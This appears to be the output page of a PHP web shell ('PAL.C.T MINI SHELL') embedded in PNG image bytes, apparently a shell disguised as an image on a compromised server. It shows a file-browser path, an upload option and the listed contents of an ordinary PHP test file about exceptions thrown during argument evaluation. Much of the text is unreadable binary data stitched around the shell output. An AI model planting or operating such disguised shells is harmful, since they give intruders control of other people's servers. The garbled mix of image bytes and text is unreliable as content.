php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/sym/root/php-7.1.11/Zend/tests/
upload
files >> /var/www/html/sub/images/sym/root/php-7.1.11/Zend/tests/bug26698.phpt

--TEST--
Bug #26698 (Thrown exceptions while evaluting argument to pass as parameter crash PHP)
--FILE--
<?php

ini_set("report_memleaks", 0);  // the exception thrown in this test results in a memory leak, which is fine

class Object
{
	function getNone()
	{
		throw new Exception('NONE');
	}
}

class Proxy
{
	function three($a, $b, $c)
	{
	}

	function callOne()
	{
		try
		{
			$res = new Object();
			$this->three($res->getNone());
		}
		catch(Exception $e)
		{
			echo 'Caught: '.$e->getMessage()."\n";
		}
	}

	function callTwo()
	{
		try
		{
			$res = new Object();
			$this->three(1, $res->getNone());
		}
		catch(Exception $e)
		{
			echo 'Caught: '.$e->getMessage()."\n";
		}
	}

	function callThree()
	{
		try
		{
			$res = new Object();
			$this->three(1, 2, $res->getNone());
		}
		catch(Exception $e)
		{
			echo 'Caught: '.$e->getMessage()."\n";
		}
	}
}

$p = new Proxy();

$p->callOne();
$p->callTwo();
$p->callThree();
?>
===DONE===
--EXPECT--
Caught: NONE
Caught: NONE
Caught: NONE
===DONE===
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`